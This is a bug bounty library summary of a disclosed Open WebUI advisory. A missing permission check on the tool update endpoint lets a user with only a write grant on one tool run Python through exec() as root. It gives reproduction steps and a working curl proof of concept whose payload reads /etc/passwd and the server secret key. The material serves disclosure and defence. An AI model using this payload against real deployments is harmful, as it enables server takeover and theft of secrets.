# Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution

Open WebUI's tool update endpoint lacked the workspace.tools permission check, letting a write-granted user replace tool Python and exec() code as root.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: KadirArslan
- Disclosed: 2026-05-14
- CVE: CVE-2026-45395
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p4fx-23fq-jfg6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p4fx-23fq-jfg6
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation vuln:rce

**Target:** POST /api/v1/tools/id/{id}/update endpoint
**Root cause:** Asymmetric authorization: the create endpoint enforces workspace.tools/workspace.tools_import, but the update endpoint only checks ownership or a write access grant, then passes content to exec().
**Steps:**
1. Create users Alice (trusted) and Bob (untrusted) via `POST /api/v1/auths/add` with admin token.
2. Enable `workspace.tools` globally via `POST /api/v1/users/default/permissions` with `.workspace.tools = true`.
3. Alice creates a benign tool: `POST /api/v1/tools/create` with `class Tools:\n    def hello(self):\n        return "Hello"`.
4. Alice grants Bob write: `POST /api/v1/tools/id/helper_tool/access/update` with `{"access_grants":[{"principal_type":"user","principal_id":"$BOB_ID","permission":"write"}]}`.
5. Admin disables `workspace.tools` globally; verify Bob gets 401 on `POST /api/v1/tools/create`.
6. Bob sends `POST /api/v1/tools/id/helper_tool/update` with malicious Python content; endpoint returns 200 and exec() runs.
**How found:** Compared authorization checks across sibling endpoints: noticed create enforces workspace.tools while update substitutes AccessGrants write check, then traced update path to exec() sink.
**Exploitation:** Bob, holding only a write grant on one tool, replaces its content with Python that runs os.popen('whoami'), reads /etc/passwd and WEBUI_SECRET_KEY, and writes proof into the tool's meta description via ToolsModel.update_tool_by_id; exfil also confirmed via outbound POST to Burp Collaborator. Runs as root (PID 1) in default Docker deployment.
**Escalation:** Write grant on a single shared tool escalates to full server-side code execution as root, exposing secret key, database, filesystem and internal network.
**Insight:** When a resource has both a collaboration 'write' grant and a separate execution permission, audit every endpoint that mutates content for the execution gate, not just the create path; diff sibling handlers for asymmetric checks.

## Proof of concept (copied exactly from the original report)

**Bob's malicious tool update request triggering exec()**

```
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "helper_tool",
    "name": "Helper Tool",
    "content": "import os, sys, json, platform, asyncio\n\nproof = {\n    \"poc\": \"workspace.tools bypass via write grant\",\n    \"whoami\": os.popen(\"whoami\").read().strip(),\n    \"hostname\": os.popen(\"hostname\").read().strip(),\n    \"pid\": os.getpid(),\n    \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n    proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n    from open_webui.models.tools import Tools as ToolsModel\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(\n        ToolsModel.update_tool_by_id(\"helper_tool\", {\n            \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n        })\n    )\nexcept: pass\n\nclass Tools:\n    def __init__(self): pass\n",
    "meta": {"description": "A benign helper", "manifest": {}}
  }'
# Returns: HTTP 200  exec() ran. Bob achieved code execution.
```

**Verify Bob cannot create tools (401)**

```
curl -s -X POST "$BASE/api/v1/tools/create" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "bob_test",
    "name": "Test",
    "content": "class Tools: pass",
    "meta": {"description": "test", "manifest": {}}
  }'
# Returns: HTTP 401  "401 Unauthorized"
# Bob correctly CANNOT create tools.
```

